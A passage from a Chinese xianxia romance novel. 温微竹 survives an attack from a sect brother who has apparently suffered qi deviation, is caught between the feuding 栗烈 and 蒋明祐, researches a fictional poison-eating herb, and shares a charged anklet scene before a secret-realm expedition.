蒋明祐脸上的笑容无处可挂,正回头找人,听到栗烈笑着反讽:“是挺分不开的。”
蒋明祐暗暗捏了扇柄,脸上还是挂着烦恼的笑,自得道:“唉,温师妹就是太贴心,总担心我饿着,到点就想着给我准备美食,明明我不吃也没关系。”
蒋明祐做作地摇摇头,长吁短叹着:“真是甜蜜的烦恼。”
栗烈牙帮子咬得咯咯响,温微竹跟在蒋明祐的身边他还没那么生气,但是温微竹给蒋明祐做饭这点实在是不能容忍!
她怎么可以给蒋明祐做饭!
此刻,栗烈才真情实感地觉得有一样曾经属于他的东西,失去了。
他捏紧了手中的剑,仍旧撑着场子不愿认输:“马上就出发了,还有时间给你准备美食?垃圾食品吧。”
栗烈沉着脸离开,不想多听蒋明祐多说一句。
一场交锋下来,最终达成的却是双输的局面。
蒋明祐气急败坏去找温微竹,栗烈气鼓鼓也想找温微竹。
而此时的温微竹被胡司敬挡住了去路。
温微竹只是不想卷入幼稚的争锋之中,所以找个角落透透气,没想到胡司敬一路尾随着她,在无人的角落便拦住了他的去路。
此刻她已经不需要惧怕云萃峰的幕后之人,对胡司敬连装都懒得装了,直接问:“找我什么事?”
胡司敬咬着牙,眼神憎恨,“你怎么攀上蒋明祐的?你明明是个闷葫芦,没背景也没朋友,沉闷无趣,蒋明祐怎么会看上你?”
温微竹了然。
原来胡司敬对她的憎恨来自于她逃脱了背锅侠的命运,宗主与丁长老他们想找一个替死鬼,为无息仙尊的死背锅,所以让人找一个无依无靠,完美的背锅侠。
胡司敬找到了温微竹,选中她的时候,大概觉得她是个非常完美的人选。
这件事做成了,应该能得到上面的奖励。
而现在,温微竹把这件事搞砸了。
她攀附上了蒋明祐,让她继续当一个罪无可辩的背锅侠显然没那么容易。
甚至,无息仙尊一直被宗门弃置在云萃峰的事情都有可能搞得人尽皆知。
一旦变成这样,将温微竹选入云萃峰的胡司敬就是罪人。
如今的情况,怎么看都是胡司敬办事不力。
这事幕后有丁长老的参与。
丁长老现在被她威胁,想必恨极了她,又不敢轻举妄动,只能拿胡司敬这个始作俑者拉出来泄愤。
看来在丁长老那里受了不少气,所以才这么大怨念。
“胡师兄怎能这么说?我攀上蒋师兄你不应该为我高兴吗?我还是要感谢你送我进内门,不然我怎么有机会认识蒋师兄这么厉害的人。”
虽然进内门之后,温微竹一直举步维艰,但胡司敬能送她进内门她还是真心实意感谢他给的这个机会。
不然,她怕是见不到活的无息仙尊了。
胡司敬目眦欲裂,眼睛血红,“你是不是从一开始就在骗我!你和陈青叶,一直都在骗我,就为了拿我当跳板,让你们有机会攀高枝!”
温微竹神色凝重。
胡司敬的状态很不对劲,温微竹不动声色环顾四周,因为图清净,她特意走的无人的小路,离人群倒是不远,但毕竟是视线死角,她又没准备东西防身。
若是胡司敬失控之下,直接动手。
她必死无疑。
“胡师兄,你说什么我听不懂?我和蒋师兄认识是意外,他哪里会看上我,只是拿我跟丁师姐置气呢,丁师姐你知道吧?那个修为又高长得又漂亮的丁师姐,丁长老的女儿。”
为了安抚胡司敬,温微竹开始随口乱编。
“我长得这么普通,性格又沉闷,蒋师兄怎么可能看上我。”
温微竹又装作关心胡司敬,问:“胡师兄,你和青叶怎么了?上次吵架还没好吗?”
温微竹一边安抚胡司敬,一边琢磨着逃生路径。
却不料,胡司敬根本不听,双眼甚至都无法聚焦,就跟走火入魔了一样。
“还想骗我!”
胡司敬拿起剑就朝温微竹刺去,温微竹拔腿就跑,但速度怎敌得过胡司敬,眼看剑气直指后心,就要惨死当下。
温微竹正想着自己这死得也太冤了,胡司敬明显是走火入魔,脑子不清醒,什么话都听不进去了。
眼看着剑气袭来,温微竹无处可闪,千钧一发之际,温微竹只觉脚踝发烫,随后一道无形的守护结界,将剑气涤荡开,温微竹完好无损地逃了出去。
胡司敬被剑气反噬,动作受阻,等再追过来的时候,温微竹正一头扎进了一白衣男子的怀里。
熟悉的金色纹路,如雪一般的长袍,却在衣领与袖口绣着璀璨的金色锦纹,纹路奇特,像符箓,又像阵法。
温微竹判定这是一种带有攻击抑或者防御的法衣。
温微竹惊魂甫定,尚未开口,就被少宗主一把掳至身后,拔剑制敌,轻而易举将胡司敬镇压在地。
“在宗门内就敢行凶,你是哪个峰的弟子?”
胡司敬如发狂的野兽,双眼通红,被强行镇压,疯狂的双眼瞪着少宗主,面目狰狞,低声吼叫。
见胡司敬不答,少宗主又冷声质问:“为何行凶?”
胡司敬青筋暴起,看起来明显状态不对劲,少宗主正想检查,胡司敬就口吐鲜血昏死过去。
少宗主踢了踢倒地的胡司敬,确认是真的昏死过去,才皱眉回头看一直被他一只手抱在身后的温微竹,问:“怎么回事?”
温微竹被栗烈轻放在地上,她掀起衣摆,看了一眼左脚踝。
脚上穿着鞋子,什么也看不到,但温微竹知道发烫的位置是左脚戴的脚链。
栗烈见温微竹低头去看脚踝,才意识到他送给温微竹的蓝焰星阶触发了被动防御。
他神色一凛,“刚才被他攻击了?”
栗烈以为自己出现得及时,却未料,在他到来之前,温微竹已经被攻击,若不是他给她戴了蓝焰星阶脚链,这会怕是……
光是想想就后怕。
栗烈拽紧温微竹的手不由自主拽紧,心中再次升起给温微竹洗髓的念头。
修真界危机重重,温微竹太弱了,就连一个低修为的小喽啰,都随时可能要她的命。
温
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微竹抬头。
当初察觉到脚上的脚链时,她正因为无息仙尊的生死焦头烂额,明知是少宗主或是于师兄送的也没时间去求证。
她想摘下来,找个时间还回去,但这脚链找不到接口,她试了很久,也摘不下来。
后来她就放弃了。
想着等有机会找少宗主与于师兄确认一下,再当面还给他们。
后来……
由于各种各样的原因,这件事没能做成。
如今,倒是庆幸,被这链子救了一命。
“少宗主,这脚链是你送我的吧?”
栗烈怔了一下,才想起来,脚链是当初温微竹昏迷时,他自己自作主张给她戴的。
当时的他本就因为蒋明祐欺负她而心中烦闷,想着如何才能保护她。
温微竹遇到危险又不懂得主动寻找他的帮助。
让她洗髓她一直考虑也没有后文,修为也提不上去。
他又无法时时刻刻呆在她身边保护她。
禁闭期间本来就在思考什么东西防身比较靠谱。
结果就遇见她重伤跑到灵深峰,晕了过去。
他当时又气又恼,气她总是不懂得依靠他。
又忧心她会在他不知道的地方死掉。
如今想来,那时的事还不到一月光景,却早已物是人非。
想到如今,栗烈气不打一处来。
甩开温微竹的手,栗烈冷冷道:“别转移话题,说说这是怎么回事?在宗门开杀戒,这可是大罪!”
栗烈都无法理解,温微竹一个杂灵根的杂役弟子,哪来那么多的仇人?
温微竹见少宗主不想回答她的问题,也就不再问。
从她低头看向脚踝,少宗主就猜到她刚才被攻击了,可以确定脚链是少宗主送的无疑了。
之前从脚链的华丽程度,温微竹判断这脚链价值不菲,如今看来,估计不止价值不菲,还是不可多得的法器。
温微竹的内心一时五味杂陈。
少宗主脾气虽然坏,但毫无疑问是她人生之中遇到的对她最好的人。
当初少宗主挑刺的时候,她就应该再忍忍……
算了,她忍不了。
事已至此,以后她再想办法报答他吧。
温微竹将视线转向昏死过去的胡司敬,神情严峻。
“他是当初带我进内门的师兄,但是不知道为什么,我感觉他今天状态有点不对。”温微竹抬头看向少宗主,“少宗主,他有没有可能是走火入魔?”
栗烈俯下身,扒开胡司敬的眼皮查看了他的瞳孔,又查了一下胡司敬的筋脉,发现胡司敬体内灵力乱窜,是有走火入魔的迹象。
有弟子闻声过来,栗烈吩咐他们把胡司敬送去刑司部,让刑司部去检查审问,随后又看向温微竹。
温微竹的脸色苍白,显然刚才吓得不轻。
若不是他正好出现,她还不知道要如何脱身。
他本是来找她质问,问她是不是也给蒋明祐做饭了?
是不是也像给他做饭一样,那么用心地给蒋明祐做饭?
但话到嘴边又吞了下去。
44. 心动
考虑到温微竹受到了惊吓,栗烈压下自己的委屈与怨念。
回头一想,温微竹在这个犄角旮旯里遇险,怎么看也不像是去准备食物的样子。
所以,蒋明祐说她给他准备美食,极有可能在瞎说。
想到此,栗烈换了个话头,问温微竹:“马上要出发了,你到这个无人的角落来干什么?”
温微竹不知道蒋明祐在少宗主面前说大话,也没想到少宗主是在套她的话,就随口道:“外面人太多了,我打算找个安静的地方待一会,等出发的号角响才出去。”
栗烈的瞳孔跳了跳,蒋明祐果然是在胡诌!
但栗烈也没放过温微竹,“见了我也不跟我打招呼,躲我?”
温微竹:“……”
少宗主的态度有点出乎她的意料。
没记错的话,她之前已经跟少宗主闹掰了。
刚才出于正义,少宗主救她一命,还能理解。
但两人现在应该不是能好好说话聊天的关系了吧?
在她的想象中,少宗主这会应该跟刚才一样,看都不想看她一眼才对。
怎么还能心平气和地跟她说话呢?
温微竹嗫嚅着,话到嘴边反复了好几次,才开口道:“我以为少宗主不想看见我。”
“既然要一起外出,以后一段日子天天得见面,你难道因为我不想见你就一直躲着吗?那你可以选择不去。”
本来栗烈都差点忘了他还在生温微竹的气,被温微竹一提醒,怒气蹭蹭往上冒。
温微竹哑口无言。
不去是不可能不去的。
她说服蒋明祐出门,就是为了让蒋明祐带她一起出门去寻找食毒草的下落。
见温微竹低头不说话,栗烈火气更盛。
想到温微竹为了蒋明祐,不畏危险,也要跟着蒋明祐出宗门,心中的嫉妒不甘愤懑顿时充满胸腔,如涌动的火山,快要炸裂。
就在栗烈怒瞪着温微竹,整个人如膨胀的皮球,要朝温微竹炸裂时,一直寻找温微竹的蒋明祐终于找了过来。
看见温微竹和栗烈站在一起,蒋明祐紧抿的唇角微微扬起,露出嬉皮笑脸的神色,走到两人身边,亲切地攀上温微竹的肩膀,温柔抱怨:“你怎么在这?害我好找。”
说完又朝栗烈挑眉,酸不溜秋道:“少宗主怎么在这里?老缠着别人的伴侣不好吧?”
“你说什么?”栗烈额头青筋抽动,难以置信反问:“伴侣?”
栗烈用杀人的眼神看向温微竹。
温微竹没想到蒋明祐随口乱编还能编这玩意,她很讨厌蒋明祐的越界,抖了抖肩膀,不着痕迹将蒋明祐的手抖了下去,脸上维持着和睦的微笑。
“蒋师兄抬举,我可不敢奢望,别的师妹若是听见了,会跟我拼命的。”
温微竹表面对蒋明祐微笑,暗地里朝他冷脸皱眉,让他适可而止。
蒋明祐本是挑衅随口一说,没想到栗烈反应这么激烈。
他以前只以为栗烈欣赏温微竹的厨艺,馋的是温微竹的手艺,现在看来,并非如此。
温微竹这么大魅力?
蒋明祐不解。
他和温微竹也相交过不少时间了。
如果要让他从女性的角度评价温微竹这个人。
他只能说,温微竹没有一丁点讨人喜欢的地方。
没有过人的外貌,别的女孩子都是明眸皓齿,眼波含秋。
而她,又素又普,眼神冷锐锋利,一般人都受不住。
性格更不用说,强势又心机深沉,哪有一般女孩子的娇憨可爱?
栗烈这喜好,是不是太冷门了点?
怪不得这么多年没有一个女弟子能靠近他,敢情他的癖好与众不同。
蒋明祐忍不住在心中啧啧称奇。
若是让温微竹做另一半,那真的是灾难。
虽然他的心中产生了一种栗烈与温微竹处在一起能处成什么样的冲动,但此刻,看栗烈暴跳如雷的模样,心中还是十分满足。
“怎么会?大家都会相信我的眼光,你可是独一无二的。”
蒋明祐甜言蜜语信口拈来,势必要在栗烈面前表演你侬我侬,看栗烈能不能七窍生烟。
这两年,他的各种挑衅,栗烈可都是不屑一顾。
现在,可总算让他找到场子,怎么可能就此放过?
“你是不是对每一个和你交往过的女弟子都说这样的话?”栗烈的暴烈情绪在看到温微竹并不愉悦的神色时有所缓解,“话说太多次,就没什么意义了。”
被栗烈攻击花心,蒋明祐还挺新奇。
两年前,他与栗烈打得最狠的一次,两人都深受重伤,当时宗主来跟他好言安慰了一通,那之后,栗烈便无视他的挑衅,看见他转头就走。
这几次栗烈与他争锋全都是因为温微竹,饶是如此,之前栗烈也只是警告,避免和他直接冲突。
如今日这般针锋相对,还真是让人怀念。
名声、地位、修为这些通通不在意,没想到女人才能让栗烈真正破防。
啧啧,温微竹啊温微竹,你怎么不早点出现?这是少了多少乐趣啊。
蒋明祐忍不住瞟了一眼温微竹,全身心已经处于一种微妙的亢奋状态。
“和其他的那些甜言蜜语怎么会和温师妹一样,其他人可带不了我这种非同一般愉悦感。”
温微竹本想等这两人其中一个终止这种无聊幼稚的争锋,没成想,两人一点没有结束的意味,蒋明祐明显是越发兴致盎然,栗烈怒气愈发膨胀。
也就是她是杂灵根,她要是修为比这两人高,真想一人一个爆栗,打得他们乖乖趴下,保持安静。
“我有点不舒服,我们走吧。”温微竹抢在栗烈爆发之前开口,拽住蒋明祐的袖子,强行拉着蒋明祐离开。
于文峥找到栗烈的时候,见栗烈浑身低气压,握着剑凝望着一个无人的方向。
于文峥疑惑地看过去,没看见什么东西,隔老远都能感觉到栗烈身上的冷空气。
最近一段时间因为温师妹的到来而变得柔和一点的少宗主已经一去不复返,不但变回来以前那个冷脸暴躁的少宗主,甚至比以前更严重了。
于文峥都要怀疑,要不是少宗主手里握着的是剑,别的东西早就在他手中碎成了渣渣。
“快要出发了,你在这
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干什么?”于文峥顶着巨大的冷空气走过去,问。
栗烈回过神看向他,没头没尾道:“你说得对,她很有可能是被强迫的。”
于文峥一头雾水,但还是很快反应过来,栗烈口中的她指的是温微竹。
他张了张嘴,心中暗自琢磨了一番,决定借机行事,道:“那天温师妹说了那么多话,虽然挺让人伤心的,但我觉得她不是那样的人。你说有没有可能是她觉得你打不过蒋明祐,怕你因为她和蒋明祐起冲突连累你关禁闭?”
不管温微竹投靠蒋明祐的真正理由是什么,若是能刺激少宗主为了变强重修阵法,那不也是变相的完成任务?
于文峥这几天一直想找机会问温微竹具体情况是怎么回事,但一直没找到温微竹的人影。
之前听她说在云萃峰挂了闲职,他试着去过云萃峰,可惜有结界,他也进不去,只能无功而返。
如今只要少宗主愿意相信温微竹是为了他委曲求全,以少宗主对温微竹的态度,绝对不可能放那不管。
想要打败蒋明祐,不修阵法是不可能实现的。
说不定,温微竹投靠蒋明祐的真正原因就是为此。
一想到这么多年他的任务马上要迎来可喜的突破,于文峥心中就忍不住雀跃。
栗烈觉得于文峥说的在理。
温微竹和蒋明祐在一起时,完全没有那种两人黏黏糊糊的感觉,她甚至对蒋明祐不太耐烦,连装都懒得装的那种。
也不笑。
以前跟他在一起的时候,温微竹笑得还挺多的,那种温驯的温柔与温婉的笑意。
温微竹说的没有错,只要蒋明祐比他强,就算温微竹回到他的身边,蒋明祐也会跟只恶心的苍蝇一样,不停地来骚扰他们。
只有他比蒋明祐强,温微竹才能安心地呆在他的身边。
蒋明祐自尊心很强,若是被人踩在脚下,他就不会腆着脸去寻找羞辱。
心中下定了决心,栗烈那颗时常被愤懑与不甘萦绕的心也豁然开朗。
只要他变强,就能将温微竹从蒋明祐的手中抢回来,并且再也不给蒋明祐抢走的机会。
温微竹在出发的路上收到了少宗主的传音,拿起传讯螺放在耳边一听,少宗主清润的嗓音在耳边响起:“等我。”
简单的两个字,却不知为何,像个小鼓槌,轻轻敲击温微竹的心房。
等他……
等他什么?
心里明白少宗主说的是什么意思,甚至这本身也是她的目的之一。
然而,当真正听到少宗主回应的时候,温微竹内心的情绪复杂难言。
好像有蚂蚁从胸口爬过,有点痒,又有点电流窜过的轻微悸动。
温微竹对这个世界最多的情绪是无聊、厌烦,迷茫以及毫无意义。
对所有人热衷的争斗、情爱等一系列的情感没有任何兴趣,面对的时候也毫无波澜,甚至反感。
此刻隔着距离空间,透过传讯螺听到少宗主郑重的话语,心中的鼓噪仿佛一下子带来了整个世界的喧嚣。
少宗主是喜欢她的。
这一刻,她终于确定了于文峥口中的那个‘喜欢’。
45. 寻找
温微竹翻了很多资料,找不到关于食毒草的记录,后来还是蒋明祐不知从哪里弄来了一本毒经,从那里获得了一些关于食毒草的信息。
食毒草是一种很神奇的草,它以毒素为养料,自身却无毒。
它能解百毒的原理不是吃它的茎叶,而是将它种植在毒素之上,让食毒草将毒素吸食,清除毒素。
所以,想要用食毒草解毒,就必须挖活的食毒草,然后种植在中毒之人的血肉之中,食毒草会吸食人体内的毒素,一旦毒素清空,食毒草没有养料,就会枯萎。
从解毒方式来看,食毒草简直是解毒的神仙草药。
然而,这种草非常难得,首先它的生存环境非常挑剔,必须生活在常年毒瘴之地,普通的有毒之地就算生长了食毒草,一旦毒素被食毒草吸食殆尽,很快食毒草就会因为没有毒素做养分而枯萎。
由此可以看出,食毒草生活的地方必定是环境会源源不断制造毒素的地方。
而这样的地方,哪怕是修为高深,也不敢轻易靠近。
“我们这次去的荚雾森林是不是有很多的毒瘴之地?”温微竹往嘴里塞了一颗辟谷丹,喝了一口水服下去。
坐在对面的蒋明祐手中拿着书页,十分不解:“你不是厨师吗?能忍受得了辟谷丹?”
温微竹淡淡抬眸看了蒋明祐一眼,“没说厨师就非得爱美食,不用吃东西可以省掉很多麻烦。”
说着,温微竹不太耐烦翻着手中书页,“问你话呢。”
虽然翻到了食毒草的说明,但具体什么地方有,毒经里并没有提及。
因此两人在去往秘境的灵船上努力地翻书,寻找食毒草有可能存在的位置。
直接找食毒草的信息,几近于无。
温微竹现在已经放弃直接寻找食毒草的位置,而是寻找毒瘴之地。
届时,确定毒瘴之地的位置之后,再想办法去记录的毒瘴之地看看会不会有食毒草的存在的踪迹。
“是吧,荚雾森林常年笼罩在雾气之中,瘴气丛生,自然就会产生毒瘴之地,但会不会有适合食毒草生存的剧毒之地不好说。”
蒋明祐慢条斯理翻着手中的书,不像在查找资料,倒像是慢悠悠地看故事。
他抬眸瞟了一眼温微竹。
温微竹低头看书的时候,面无表情,像个冰冷的机械在无情地运转,一页一页,不出片刻,厚厚的书籍就翻了一半。
做事的时候冷面无情,对他说话则会露出不耐烦的样子。
她对栗烈也是这个态度吗?
“你的厨艺应该很不错吧?栗师弟对食物一向很挑剔,一般人做的东西入不了他的口。”蒋明祐试探着问。
温微竹依旧面无表情,像个木偶人一样机械地翻着手中的书籍,对蒋明祐询问的与少宗主有关的事情充耳不闻。
蒋明祐认真盯着她的反应,发现她连睫毛都没跳动一下,纯粹的没有半分反应,仿佛压根没听见他的话。
但蒋明祐确定温微竹能听见他说的话,她就是单纯的不想回他。
蒋明祐心中不爽,继续问:“你和栗师弟相处的时候,也是这个样子吗?”
蒋明祐想象了一下栗烈和温微竹的相处,一个暴躁,一个闷不吭声,怎么想那场面都是栗烈直接喊滚,然后温微竹麻利地滚了。
“……”
怎么想两人都没法有交集的人。
最后想来想去,只能是温微竹的厨艺锁住了栗烈的胃,让栗烈忍受了温微竹这个人的种种缺点。
这厨艺到底是多逆天?
搞得对吃食一点不感兴趣的他都有尝尝的冲动了。
“你什么时候做点吃的给我尝尝?”蒋明祐忍不住道。
温微竹额角抽抽,发现蒋明祐闲事真多。
“你的嘴巴要是闭不上就拿个东西塞着。”温微竹翻书的动作都粗暴了很多。
蒋明祐愣了一下,“你这人怎么活到现在的?有人能跟你相处吗?但凡是个人都受不了你吧?”
温微竹啪地关上手中浏览完毕的书,冷漠地瞟着明显不干正事却一直在那叨叨的蒋明祐。
“那真抱歉,你受不了也得受。等找到食毒草,我们就可以分道扬镳,老死不相往来。为了快点迎接这样的日子,还请快点干活。”
翻过手中的书页,蒋明祐望着温微竹手边堆成山一样的书堆,不太接受温微竹对他阴阳怪气的控诉。
“我有在认真看,倒是你,就这么一扫而过,是真的在用心找吗?”
温微竹懒得跟他争论,没找到有用线索,温微竹有些意兴阑珊。
她站起身,活动一下身子。
综合各种翻看到的知识,她分析道:“荚雾森林本身属于迷雾之地,里面危机重重,属于比较少被人探险的森林,这种地方突然冒出来一个秘境,要么是有化身期以上的修真大能折在了里面,死后自身修为化为秘境;要么就是这个森林自身孕育出来的秘境。”
温微竹眯着眼睛琢磨,“若是有大能羽化,修真界不可能没有风吹草动,这个秘境有很大概率是荚雾森林自身孕育出来的。”
“大能羽化的消息不可能短时间内传遍修真界,只有消息实在捂不住的时候,才会传出来,至于是否是荚雾森林自身孕育,就算是荚雾森林自身孕育出来的,又如何?”蒋明祐仍旧端坐着翻看手中书籍,淡淡回应。
蒋明祐说的有一定道理,任何宗门的大能都是维持宗门安稳的重要人物,一旦出事,宗门都是能捂则捂,只有实在逼不得已,或者是宗门有相应应对措施,才会公开。
无息仙尊就是典型的例子。
温微竹不想考虑这个可能,主要是内心里希望这个秘境是荚雾森林自身孕育出来的。
因为……
“如果是荚雾森林自身孕育的秘境,那这个秘境就非常危险,而且极有可能孕育出剧毒之地。”
寻不到食毒草的下落,温微竹私心里希望能在这个秘境里面找到食毒草。
蒋明祐神色一凛,未知秘境大多凶险,但如果是有毒秘境,这就非同寻常了。
若不事先做好准备,极有可能全军覆没。
“你从哪里得出的荚雾森林有可能孕育秘境,而且还是有毒秘境的结论?”
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温微竹从她看过的书堆里抽出一本《秘境探寻》,递给蒋明祐。
这本书详细地讲解了各种秘境,以及列举了历史上出现过的大大小小几百个秘境。
书中说凡是天地孕育的秘境,里面会与周边的环境息息相关,并且这种秘境一般出现在人迹罕至的地方,里面往往万分凶险。
曾经发现过的这种类似的秘境,最终都因为死的人太多,严加管制了起来。
蒋明祐翻了翻,又看了看作者,佚名。
也不知道这书可信不可信。
只是与性命攸关的事情,都是宁可信其有不可信其无。
关上书,蒋明祐奇道:“你翻得这么快,竟然真的把内容看进去了。”
蒋明祐照着温微竹的速度试了一下,发现走马观花,什么也来不及看。
“你这阅读速度有点恐怖,你……”
蒋明祐想说温微竹这么厉害,但凡灵根天赋好一点,那也是个了不得的人物。
只可惜……
天意往往这么捉弄人。
后面的话蒋明祐咽了下去,转而说道:“这件事非同小可,得找长老们商量一下对策。”
此次去探索秘境的除了一些普通弟子,还有几个带队长老,更何况这次有蒋明祐和少宗主,带队的长老比上次更多。
蒋明祐起身出门,见温微竹不但没跟她走,反而坐下,驻足问:“你不去?”
温微竹拿起一本书继续看,她摇摇头,“我去起不了什么作用,你就说是你发现的就行了。”
“栗师弟肯定也要去,你不去看一下?”走到门边的蒋明祐又走回温微竹身边,调笑。
温微竹皱眉,警告道:“我们出来是寻找食毒草下落的,不要节外生枝。”
蒋明祐捏了捏手中的扇子,温微竹每时每刻都在刷新他对她的认识。
她对栗烈的特别对待无动于衷,对能与他出双入对冷漠至极,这些在别人眼里求都求不来的东西,她却半点不动心。
她的心里,只有无息仙尊。
“我真的很好奇,你为什么为了无息仙尊这么拼命?”
这是蒋明祐的心里话,一不小心问了出来。
他心知肚明,问了温微竹也不会回答他。
只是他实在是好奇。
如果温微竹对无息仙尊情根深种,温微竹不离不弃,为了救活无息仙尊肝脑涂地还能理解。
但温微竹根本就不是那种会对他人情根深种的人。
那是什么驱使着温微竹如此这般尽心尽力?
“告诉你答案,你就能走了是吗?”温微竹不耐烦地回。
蒋明祐噎了一下,从被发现是天灵根的那天起,他再也没受过这种被人嫌弃的气。
他拍了拍扇子,皮笑肉不笑道:“对的,你要是说了,我马上就走。”
“我有个问题要问他。”温微竹淡然道。
蒋明祐等了半天,直到温微竹催他,“还不走?”
他才回过神,瞪大了双眼,道:“就这样?”
温微竹喝了口茶,冷冷道:“就这样。”
46. 脚链
蒋明祐是带着一肚子气出的门。
温微竹这种人,肯定没朋友!
栗烈是脑子坏掉了吗?怎么会喜欢这种人?
她来他身边,是故意帮栗烈折磨他的吧?
蒋明祐甚至怀疑他被栗烈和温微竹做局了!
要不是他确实验证了温微竹说的是事实,他就得怀疑温微竹跟在他身边的真实目的了。
等事情完结,要不,还是让温微竹去继续折磨栗烈吧?蒋明祐忍不住想。
长老们都到齐之后,栗烈和于文峥也过来了。
栗烈第一眼看到蒋明祐,没在他身边看到温微竹,不禁微微皱眉。
这段时间,蒋明祐到哪里都带着温微竹,这还是第一次没有将温微竹带在身边。
虽说在这种严肃的场合,带温微竹确实不合适,可蒋明祐何时有过场合不合适这种概念?
蒋明祐阐明了自己将大家聚在一起的原因,众人一时神色凝重,一致商量额外多准备一些应对毒物与毒瘴环境的法器与丹药。
“老夫还是建议少宗主与蒋师侄暂时在秘境外等候,等第一批进去后,带回来一些情报再做决断。”一名长老建议道。
这种未知秘境,宗门是不太愿意让宗门的新生代去冒险的。
但少宗主这些年每次外出任务必出,拦都拦不住,宗主都没办法,宗门就更没办法。
至于蒋明祐,以前在这方面倒是挺听话,这次蒋明祐说要外出,态度坚决,宗门也不好太过驳他面子,因此派了好几个长老确保他的安全。
蒋明祐已经突破元婴,实力在修真界也不容小觑,对于一般的秘境没什么大问题。
但若是S级的凶险秘籍,宗门就要琢磨琢磨,不能让宗门的天灵根去冒险。
蒋明祐心中怀着对温微竹的怨气,决定要从栗烈身上讨回来,他像是没骨头一般靠在圈椅上,似笑非笑道:“让少宗主在外等着就行了,我就不必了,好歹我也是元婴期修士了,这点危险不在话下。”
于文峥嘴角抽抽,蒋明祐逮着机会不显摆一下自己,刺一下少宗主,就浑身难受。
栗烈端坐在椅子上,将手中的剑随手放在一旁的案几上,淡淡道:“我也不需要,我已经要突破金丹,正好去秘境寻找一下结婴的契机。”
此话一出,全场哗然。
“少宗主精进了?”长老们齐道。
蒋明祐更是霍地站起身,难以置信地盯着栗烈。
栗烈只是淡定地点点头。
“栗师弟,你修剑道修了这么多年一点修为没涨,总不会突然就顿悟了,进步神速吧。难道是又重修阵法了?”蒋明祐握紧手中的扇子,忍不住向前一步逼问。
“我是修剑道还是阵法,没必要跟你汇报吧。蒋师兄还是管好自己,不然以你天灵根的天赋却被单灵根超了修为,说出去不太好听。”
两人针锋相对,一众长老无从劝起。
只得在中间和稀泥。
最后两人不欢而散,栗烈沉着脸没见多开心,蒋明祐更是咬着牙,负气而来,又负气而去。
于文峥跟在栗烈身后,终于有一种翻身农奴把歌唱的爽感。
“终于不用受蒋明祐的气了!”于文峥欢呼,又在心里默默加了一句:“感谢温师妹!”
温微竹对此一无所知,蒋明祐更不会将自己的窝心事告诉她。
就这样,一群人驾驶着灵船来到了荚雾森林。
荚雾森林已经人满为患,各大宗门都派了人来,有的已经进去,有的在外观望。
青延宗的人看见常阳宗到来,一个个提高戒备,红着眼睛看着常阳宗的方向,特别是看向少宗主和蒋明祐。
蒋明祐看见对方熟悉的宗门弟子服,忍不住奚落:“最近怎么不来送人头了?没有人头收还真有点手痒。”
青延宗带队的大弟子拦住愤怒暴起的弟子,忍着愤怒道:“大家都是来探索秘境的,还是各自安生点比较好。”
常阳宗的长老也拉了拉蒋明祐,低声警告蒋明祐不要惹是生非。
在秘境里,往往其他宗门的偷袭比秘境本身更危险。
温微竹倒忘了青延宗这件事,两宗门一直恩怨不断,若一起进入未知秘境,倒确实是不得不防。
温微竹看了一眼少宗主,发现少宗主抬头看着秘境入口,并没有注意这边。
她走到蒋明祐身边,低声道:“进入秘境后,你小心点青延宗的人。”
蒋明祐惊为天人,讶然道:“你是在关心我吗?”
这个整日没好脸的人,竟然会提醒他注意安全?
蒋明祐实在是太过惊讶,不自觉提高了音调,导致周围的人都听见了他说的话。
一下子周边的目光都聚集在两人身上。
温微竹无语,自己真是多事,就该让蒋明祐自生自灭。
蒋明祐早已习惯众人瞩目,对其他人投来的目光毫不在意,反倒是盯着温微竹上上下下端详,揣测自己方才是不是出现了幻听。
众目睽睽之下,温微竹不好发脾气,只得耐着性子微笑,压着声音提醒蒋明祐:“别忘了你进秘境之后的目的。”
随后微笑道:“等你出来哦。”
一同来的弟子早已提前分工,一部分率先进入秘境,而另外一部分人在外面安营扎寨,随时接应第一波从秘境里出来的人。
少宗主和蒋明祐都要求进去秘境,长老们为了保证两人的安全,只留下一位长老在外面保证剩余弟子的安全,其他的长老悉数进入秘境。
温微竹作为杂灵根就算想进也进不去秘境,只能在外面等。
蒋明祐开启日常营业,笑得风流倜傥,“等我好消息。”
温微竹收了笑,转身朝轧好的帐篷走去。
她实在是不想被一堆人围着跟蒋明祐上演让人起鸡皮疙瘩的暧昧戏码。
身后还能听到蒋明祐在那自圆其说,“她就是这么多愁善感,怕舍不得我流眼泪,就先躲起来了。”
温微竹赶紧加快了脚步,生怕再多听一句让人浑身抖索的都肉麻话语。
在帐篷内清净地坐了一会,帐门忽然被人推开。
温微竹抬头望去,看见少宗主穿着那身惹眼白衣走了进来。
他的手里依旧握着那柄剑,温微竹至今不知道少宗主的剑叫什么名字。
温微竹没有说话,帐篷里没
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有其他人,少宗主显然是来找她的。
自从温微竹收到少宗主的那句传讯,两人就没有再交谈过。
温微竹心中迷茫,就算她明白少宗主对她的心意,那接下来呢?
她是没有情感的人,她回应不了同样的喜欢。
更何况她现在有一件生死难料的事情要去做。
说不定哪一天,他所喜欢的那个人,就死了。
这么一想,人真是个矛盾的生物。
当主动想结束生命的时候,发现死是一件很艰难的事情。
总觉得起码得有一个像样的、说得过去的借口,才能毫无负担地从容赴死。
而想活着的时候,又发现,生命是那么脆弱。
就好像,随时都有可能一命呜呼。
栗烈走到温微竹跟前,对着陷入了莫名情绪之中的温微竹道:“把左脚的链子给我。”
温微竹愣了一下,随后反应过来,脱了鞋子,将裤腿提起来一点,露出脚踝上的脚链,道:“我摘不下来。”
栗烈的目光在触及到一片莹白时,呼吸一顿。
当初替她戴上之时,忧心忡忡,没有多看也没多想。
如今当着温微竹的面,栗烈的脸庞难以自抑地染上霞色。
他蹲下身,道:“我、我帮你取下。”
手忙脚乱之下,指尖碰到了温微竹温热的皮肤,栗烈触电般收回了手。
松开的脚链顺着光滑的脚背滑下,最终挂在了温微竹莹润的脚趾上。
栗烈下意识抬头,对上了温微竹让人不寒而栗的深邃目光。
身体仿佛被深渊巨兽锁定,栗烈的呼吸停摆,身形僵硬难以控制。
温微竹的脸上没有半点表情,只是那双眼睛,不再是弱小温润无害,反而像是盯上猎物的猛兽,让人有种被当做猎物的汗毛直立。
衣料摩擦的窸窣声传来,脚链在空中晃动发出声响。
栗烈的视线不由自主捕捉着帐篷里唯一在动的物体,华丽的脚链在昏暗的光线下闪着顶级宝石才有的火彩,而那只未曾见过天日的玉足,在宝石的映衬下泛着凝脂般的莹莹光泽。
稀世珍宝串成的链子被送至眼前,而托着它而来的,是冰肌玉骨。
